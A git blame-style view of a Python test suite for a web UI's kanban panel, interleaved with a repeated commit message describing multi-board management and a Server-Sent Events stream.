2026-05-04 20:03:49 +00:00
|
|
|
from pathlib import Path
|
|
|
|
|
import re
|
|
|
|
|
|
|
|
|
|
ROOT = Path(__file__).resolve().parents[1]
|
|
|
|
|
INDEX = (ROOT / "static" / "index.html").read_text(encoding="utf-8")
|
|
|
|
|
PANELS = (ROOT / "static" / "panels.js").read_text(encoding="utf-8")
|
|
|
|
|
STYLE = (ROOT / "static" / "style.css").read_text(encoding="utf-8")
|
|
|
|
|
I18N = (ROOT / "static" / "i18n.js").read_text(encoding="utf-8")
|
|
|
|
|
COMPACT_INDEX = re.sub(r"\s+", "", INDEX)
|
|
|
|
|
COMPACT_PANELS = re.sub(r"\s+", "", PANELS)
|
|
|
|
|
COMPACT_STYLE = re.sub(r"\s+", "", STYLE)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_has_native_sidebar_rail_and_mobile_tab():
|
|
|
|
|
assert 'data-panel="kanban"' in INDEX
|
|
|
|
|
assert 'data-i18n-title="tab_kanban"' in INDEX
|
|
|
|
|
assert 'onclick="switchPanel(\'kanban\')"' in INDEX
|
|
|
|
|
assert 'data-label="Kanban"' in INDEX
|
|
|
|
|
kanban_section = INDEX[INDEX.find('id="mainKanban"'):INDEX.find('id="mainWorkspaces"')]
|
|
|
|
|
assert "<iframe" not in kanban_section.lower()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_has_sidebar_panel_and_main_board_mounts():
|
|
|
|
|
assert '<div class="panel-view" id="panelKanban">' in INDEX
|
|
|
|
|
assert 'id="kanbanSearch"' in INDEX
|
|
|
|
|
assert 'id="kanbanAssigneeFilter"' in INDEX
|
|
|
|
|
assert 'id="kanbanTenantFilter"' in INDEX
|
|
|
|
|
assert 'id="kanbanIncludeArchived"' in INDEX
|
|
|
|
|
assert 'id="kanbanList"' in INDEX
|
|
|
|
|
assert '<div id="mainKanban" class="main-view">' in INDEX
|
|
|
|
|
assert 'id="kanbanBoard"' in INDEX
|
|
|
|
|
assert 'id="kanbanTaskPreview"' in INDEX
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_switch_panel_lazy_loads_kanban_and_toggles_main_view():
|
|
|
|
|
assert "'kanban'" in re.search(r"\[[^\]]+\]\.forEach\(p => \{\s*mainEl\.classList", PANELS).group(0)
|
|
|
|
|
assert "if (nextPanel === 'kanban') await loadKanban();" in PANELS
|
|
|
|
|
assert "if (_currentPanel === 'kanban') await loadKanban();" in PANELS
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 21:06:37 +00:00
|
|
|
def test_kanban_frontend_uses_relative_api_endpoints():
|
2026-05-04 20:03:49 +00:00
|
|
|
assert "'/api/kanban/board" in PANELS
|
|
|
|
|
assert "api('/api/kanban/tasks/" in PANELS
|
|
|
|
|
assert "api('/api/kanban/config" in PANELS
|
|
|
|
|
assert "fetch('/api/kanban" not in PANELS
|
|
|
|
|
assert "kanbanTaskPreview" in PANELS
|
|
|
|
|
assert "classList.add('selected')" in PANELS
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 20:21:58 +00:00
|
|
|
def test_kanban_task_detail_renders_read_only_sections():
|
|
|
|
|
assert "function _kanbanRenderTaskDetail" in PANELS
|
|
|
|
|
for payload_key in ("data.comments", "data.events", "data.links", "data.runs"):
|
|
|
|
|
assert payload_key in PANELS
|
|
|
|
|
for section_class in (
|
|
|
|
|
"kanban-detail-section",
|
|
|
|
|
"kanban-detail-comments",
|
|
|
|
|
"kanban-detail-events",
|
|
|
|
|
"kanban-detail-links",
|
|
|
|
|
"kanban-detail-runs",
|
|
|
|
|
):
|
|
|
|
|
assert section_class in PANELS
|
|
|
|
|
assert "method: 'POST'" not in PANELS[PANELS.find("async function loadKanbanTask"):PANELS.find("function loadTodos")]
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 21:06:37 +00:00
|
|
|
|
|
|
|
|
def test_kanban_write_mvp_has_native_controls_and_api_calls():
|
|
|
|
|
assert 'id="kanbanNewTaskBtn"' in INDEX
|
|
|
|
|
assert "async function createKanbanTask" in PANELS
|
|
|
|
|
assert "async function updateKanbanTask" in PANELS
|
|
|
|
|
assert "async function addKanbanComment" in PANELS
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
# The exact tail varies because the multi-board PR appends
|
|
|
|
|
# _kanbanBoardQuery() to most kanban API URLs. Match with looser
|
|
|
|
|
# substring assertions that survive that suffix.
|
|
|
|
|
assert "api('/api/kanban/tasks'" in PANELS
|
2026-05-04 21:06:37 +00:00
|
|
|
assert "method: 'POST'" in PANELS
|
2026-05-04 22:43:05 +00:00
|
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId)" in PANELS
|
|
|
|
|
assert "method: 'PATCH'" in PANELS
|
2026-05-04 21:06:37 +00:00
|
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/comments'" in PANELS
|
|
|
|
|
assert "kanban-status-actions" in PANELS
|
|
|
|
|
assert "kanban-comment-form" in PANELS
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 20:03:49 +00:00
|
|
|
def test_kanban_board_has_native_css_classes():
|
|
|
|
|
for selector in (
|
|
|
|
|
".kanban-board",
|
|
|
|
|
".kanban-column",
|
|
|
|
|
".kanban-card",
|
|
|
|
|
".kanban-card-title",
|
|
|
|
|
".kanban-meta",
|
|
|
|
|
".kanban-readonly",
|
|
|
|
|
):
|
|
|
|
|
assert selector in STYLE
|
|
|
|
|
assert "overflow-x:auto" in COMPACT_STYLE
|
|
|
|
|
|
|
|
|
|
|
2026-05-08 16:19:41 +00:00
|
|
|
def test_kanban_main_view_scrolls_when_task_preview_is_tall():
|
|
|
|
|
"""The app shell keeps body overflow hidden, so the Kanban main view
|
|
|
|
|
must own vertical scrolling. Otherwise a selected task with a long body
|
|
|
|
|
can push the board below the viewport with no way to reach it.
|
|
|
|
|
"""
|
|
|
|
|
assert re.search(
|
|
|
|
|
r"main\.main\.showing-kanban\s*>\s*#mainKanban\s*\{[^}]*display:flex;[^}]*overflow-y:auto;",
|
|
|
|
|
COMPACT_STYLE,
|
|
|
|
|
), "Kanban main view must expose a vertical scrollbar when detail content is taller than the viewport"
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 20:03:49 +00:00
|
|
|
def test_kanban_i18n_keys_exist_in_every_locale_block():
|
|
|
|
|
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
|
|
|
|
|
assert len(locale_blocks) >= 8
|
|
|
|
|
required_keys = [
|
|
|
|
|
"tab_kanban",
|
|
|
|
|
"kanban_board",
|
|
|
|
|
"kanban_search_tasks",
|
|
|
|
|
"kanban_all_assignees",
|
|
|
|
|
"kanban_all_tenants",
|
|
|
|
|
"kanban_include_archived",
|
|
|
|
|
"kanban_visible_tasks",
|
|
|
|
|
"kanban_no_matching_tasks",
|
|
|
|
|
"kanban_unavailable",
|
|
|
|
|
"kanban_read_only",
|
|
|
|
|
"kanban_empty",
|
2026-05-04 20:21:58 +00:00
|
|
|
"kanban_comments_count",
|
|
|
|
|
"kanban_events_count",
|
|
|
|
|
"kanban_links",
|
|
|
|
|
"kanban_runs_count",
|
|
|
|
|
"kanban_no_comments",
|
|
|
|
|
"kanban_no_events",
|
|
|
|
|
"kanban_no_runs",
|
2026-05-04 21:06:37 +00:00
|
|
|
"kanban_new_task",
|
|
|
|
|
"kanban_add_comment",
|
2026-05-04 20:03:49 +00:00
|
|
|
]
|
|
|
|
|
missing = [
|
|
|
|
|
f"{locale}:{key}"
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
for key in required_keys
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == []
|
2026-05-04 21:49:49 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_dashboard_parity_core_controls_are_native():
|
|
|
|
|
assert 'id="kanbanOnlyMine"' in INDEX
|
|
|
|
|
assert 'id="kanbanBulkBar"' in INDEX
|
|
|
|
|
assert 'id="kanbanStats"' in INDEX
|
|
|
|
|
assert "async function nudgeKanbanDispatcher" in PANELS
|
|
|
|
|
assert "async function bulkUpdateKanban" in PANELS
|
|
|
|
|
assert "async function refreshKanbanEvents" in PANELS
|
|
|
|
|
for endpoint in (
|
|
|
|
|
"'/api/kanban/stats'",
|
|
|
|
|
"'/api/kanban/assignees'",
|
|
|
|
|
"'/api/kanban/events'",
|
|
|
|
|
"'/api/kanban/dispatch'",
|
|
|
|
|
"'/api/kanban/tasks/bulk'",
|
|
|
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/log'",
|
|
|
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/block'",
|
|
|
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/unblock'",
|
|
|
|
|
):
|
|
|
|
|
assert endpoint in PANELS
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
# Live event delivery — either the legacy 30s setInterval polling OR
|
|
|
|
|
# the new SSE /api/kanban/events/stream subscription must be present.
|
|
|
|
|
# The multi-board PR replaced setInterval with EventSource as the
|
|
|
|
|
# default, falling back to setInterval after repeated SSE failures.
|
|
|
|
|
assert (
|
|
|
|
|
"setInterval(refreshKanbanEvents" in PANELS
|
|
|
|
|
or "new EventSource" in PANELS
|
|
|
|
|
), "Kanban must subscribe to live events via SSE or polling"
|
2026-05-04 21:49:49 +00:00
|
|
|
assert "prompt(" not in PANELS
|
|
|
|
|
assert "confirm(" not in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_dashboard_parity_i18n_keys_exist():
|
|
|
|
|
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
|
|
|
|
|
required_keys = [
|
|
|
|
|
"kanban_only_mine",
|
|
|
|
|
"kanban_bulk_action",
|
|
|
|
|
"kanban_nudge_dispatcher",
|
2026-05-08 15:19:04 +00:00
|
|
|
"kanban_work_queue_hint",
|
2026-05-04 21:49:49 +00:00
|
|
|
"kanban_stats",
|
|
|
|
|
"kanban_worker_log",
|
|
|
|
|
"kanban_block",
|
|
|
|
|
"kanban_unblock",
|
|
|
|
|
]
|
|
|
|
|
missing = [
|
|
|
|
|
f"{locale}:{key}"
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
for key in required_keys
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == []
|
2026-05-04 22:03:51 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_ui_parity_polish_adds_card_metadata_quick_actions_and_swimlanes():
|
|
|
|
|
for symbol in (
|
|
|
|
|
"function _kanbanRenderProfileLanes",
|
|
|
|
|
"function _kanbanCardQuickActions",
|
|
|
|
|
"function quickKanbanCardAction",
|
|
|
|
|
"function _kanbanRenderMarkdown",
|
|
|
|
|
"function _kanbanCardStalenessClass",
|
|
|
|
|
"function dragKanbanTask",
|
|
|
|
|
"function dropKanbanTask",
|
|
|
|
|
):
|
|
|
|
|
assert symbol in PANELS
|
|
|
|
|
for token in (
|
|
|
|
|
"kanban-profile-lanes",
|
|
|
|
|
"kanban-card-topline",
|
|
|
|
|
"kanban-card-actions",
|
|
|
|
|
"kanban-card-id",
|
|
|
|
|
"kanban-card-assignee",
|
|
|
|
|
"draggable=\"true\"",
|
|
|
|
|
"ondrop=\"dropKanbanTask",
|
|
|
|
|
"onkeydown=\"if(event.key==='Enter'||event.key===' ')",
|
|
|
|
|
):
|
|
|
|
|
assert token in PANELS
|
|
|
|
|
assert "target=\"_blank\" rel=\"noopener noreferrer\"" in PANELS
|
|
|
|
|
assert "javascript:" not in PANELS.lower()
|
|
|
|
|
|
|
|
|
|
|
2026-05-08 15:19:04 +00:00
|
|
|
def test_kanban_lifecycle_controls_do_not_offer_manual_running_start():
|
|
|
|
|
assert "quickKanbanCardAction(event,'${id}','running')" not in PANELS
|
|
|
|
|
assert "kanban_card_start" not in PANELS
|
2026-05-08 16:54:06 +00:00
|
|
|
assert "kanban_card_start" not in I18N
|
2026-05-08 15:19:04 +00:00
|
|
|
assert '<option value="running">Running</option>' not in INDEX
|
|
|
|
|
assert "Cannot set status to 'running' directly" not in PANELS
|
|
|
|
|
assert "kanban_work_queue_hint" in PANELS
|
|
|
|
|
assert "Preview dispatcher" in INDEX
|
|
|
|
|
assert "Nudge dispatcher" not in INDEX
|
|
|
|
|
|
|
|
|
|
|
2026-05-04 22:03:51 +00:00
|
|
|
def test_kanban_ui_parity_polish_css_and_i18n_exist():
|
|
|
|
|
for selector in (
|
|
|
|
|
".kanban-profile-lanes",
|
|
|
|
|
".kanban-profile-lane",
|
|
|
|
|
".kanban-card-actions",
|
|
|
|
|
".kanban-card-action",
|
|
|
|
|
".kanban-card-topline",
|
|
|
|
|
".kanban-card-stale-amber",
|
|
|
|
|
".kanban-card-stale-red",
|
|
|
|
|
".kanban-column.drop-target",
|
|
|
|
|
".hermes-kanban-md",
|
|
|
|
|
):
|
|
|
|
|
assert selector in STYLE
|
|
|
|
|
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
|
2026-05-08 15:19:04 +00:00
|
|
|
required_keys = ["kanban_lanes_by_profile", "kanban_card_complete", "kanban_card_archive", "kanban_unassigned", "kanban_work_queue_hint"]
|
2026-05-04 22:03:51 +00:00
|
|
|
missing = [
|
|
|
|
|
f"{locale}:{key}"
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
for key in required_keys
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == []
|
2026-05-04 22:43:05 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_review_feedback_static_ui_fixes_exist():
|
|
|
|
|
assert "function closeKanbanTaskDetail" in PANELS
|
|
|
|
|
assert "kanban-back-btn" in PANELS
|
|
|
|
|
assert "function _kanbanFormatTimestamp" in PANELS
|
|
|
|
|
assert "function _kanbanEventSummary" in PANELS
|
|
|
|
|
assert "data.log || {}" in PANELS
|
|
|
|
|
assert ".kanban-task-preview-header" in STYLE
|
|
|
|
|
assert ".kanban-back-btn" in STYLE
|
|
|
|
|
assert "@media (max-width: 640px)" in STYLE
|
|
|
|
|
assert "scroll-snap-type" in STYLE
|
|
|
|
|
assert "kanban-stats-grid" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_task_detail_renderer_executes_with_log_and_formats_feedback():
|
|
|
|
|
import json
|
|
|
|
|
import subprocess
|
|
|
|
|
script = """
|
|
|
|
|
const fs = require('fs');
|
|
|
|
|
const vm = require('vm');
|
|
|
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
|
|
|
function esc(value) {
|
|
|
|
|
return String(value == null ? '' : value).replace(/[&<>\"']/g, ch => ({'&':'&','<':'<','>':'>','\"':'"',"'":'''}[ch]));
|
|
|
|
|
}
|
|
|
|
|
const context = {
|
|
|
|
|
console,
|
|
|
|
|
setInterval(){ return 1; },
|
|
|
|
|
document: { querySelectorAll(){ return []; }, getElementById(){ return null; }, addEventListener(){} },
|
|
|
|
|
window: { addEventListener(){} },
|
|
|
|
|
t(key){
|
|
|
|
|
const map = {
|
|
|
|
|
kanban_no_description:'No description', kanban_comments_count:'Comments ({0})', kanban_events_count:'Events ({0})',
|
|
|
|
|
kanban_links:'Links', kanban_runs_count:'Runs ({0})', kanban_worker_log:'Worker log', kanban_empty:'Empty',
|
|
|
|
|
kanban_no_comments:'No comments', kanban_no_events:'No events', kanban_no_runs:'No runs', kanban_add_comment:'Add comment',
|
|
|
|
|
kanban_block:'Block', kanban_unblock:'Unblock', kanban_back_to_board:'Back to board', kanban_task:'Task',
|
|
|
|
|
kanban_status_triage:'Triage', kanban_status_todo:'Todo', kanban_status_ready:'Ready', kanban_status_running:'Running',
|
|
|
|
|
kanban_status_blocked:'Blocked', kanban_status_done:'Done', kanban_status_archived:'Archived'
|
|
|
|
|
};
|
|
|
|
|
return map[key] || key;
|
|
|
|
|
},
|
|
|
|
|
esc, $(){ return null; }, api(){}, showToast(){}, li(){ return ''; }, S: {}
|
|
|
|
|
};
|
|
|
|
|
vm.createContext(context);
|
|
|
|
|
vm.runInContext(src, context);
|
|
|
|
|
const html = vm.runInContext(`_kanbanRenderTaskDetail({
|
|
|
|
|
task:{id:'t_1', title:'Demo', status:'ready', body:'Body'},
|
|
|
|
|
comments:[{body:'hello', author:'webui', created_at:1777931496}],
|
|
|
|
|
events:[{kind:'blocked', payload:{reason:'waiting'}, created_at:1777931496}],
|
|
|
|
|
links:{parents:['t_0'], children:[]},
|
|
|
|
|
runs:[],
|
|
|
|
|
log:{content:'worker log'}
|
|
|
|
|
})`, context);
|
|
|
|
|
console.log(JSON.stringify({html}));
|
|
|
|
|
"""
|
|
|
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
|
|
|
html = json.loads(result.stdout)["html"]
|
|
|
|
|
assert "worker log" in html
|
|
|
|
|
assert "kanban-back-btn" in html
|
|
|
|
|
assert "Back to board" in html
|
|
|
|
|
assert "1777931496" not in html
|
|
|
|
|
assert "waiting" in html
|
|
|
|
|
assert "ReferenceError" not in html
|
2026-05-04 23:32:05 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_readonly_banner_starts_hidden_and_is_toggled_on_load():
|
|
|
|
|
"""The 'Read-only view' banner must start hidden in the HTML and only
|
|
|
|
|
become visible when the bridge reports read_only=true. Always-visible
|
|
|
|
|
label is misleading when the kanban_db is fully writable.
|
|
|
|
|
"""
|
|
|
|
|
import os
|
|
|
|
|
here = os.path.dirname(os.path.abspath(__file__))
|
|
|
|
|
index_path = os.path.join(here, "..", "static", "index.html")
|
|
|
|
|
with open(index_path, "r", encoding="utf-8") as f:
|
|
|
|
|
html = f.read()
|
|
|
|
|
# Banner must be in HTML but default-hidden
|
|
|
|
|
assert 'class="kanban-readonly"' in html
|
|
|
|
|
assert 'data-i18n="kanban_read_only"' in html
|
|
|
|
|
# The banner element must have inline style="display:none" (default-hidden)
|
|
|
|
|
# A naive substring check is sufficient — there is exactly one such element.
|
|
|
|
|
banner_block = html[html.find('class="kanban-readonly"'):html.find('class="kanban-readonly"') + 200]
|
|
|
|
|
assert 'display:none' in banner_block, (
|
|
|
|
|
"Read-only banner must default to display:none in HTML to avoid "
|
|
|
|
|
"flashing the wrong message before loadKanban() resolves the actual "
|
|
|
|
|
"read_only flag from the API."
|
|
|
|
|
)
|
|
|
|
|
# And panels.js must toggle it based on _kanbanBoard.read_only
|
|
|
|
|
panels_path = os.path.join(here, "..", "static", "panels.js")
|
|
|
|
|
with open(panels_path, "r", encoding="utf-8") as f:
|
|
|
|
|
panels = f.read()
|
|
|
|
|
assert ".kanban-readonly" in panels, (
|
|
|
|
|
"panels.js must reference .kanban-readonly to toggle the banner"
|
|
|
|
|
)
|
|
|
|
|
assert "_kanbanBoard.read_only" in panels, (
|
|
|
|
|
"panels.js must consult _kanbanBoard.read_only when toggling the banner"
|
|
|
|
|
)
|
feat(kanban): multi-board management + SSE live event stream
Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
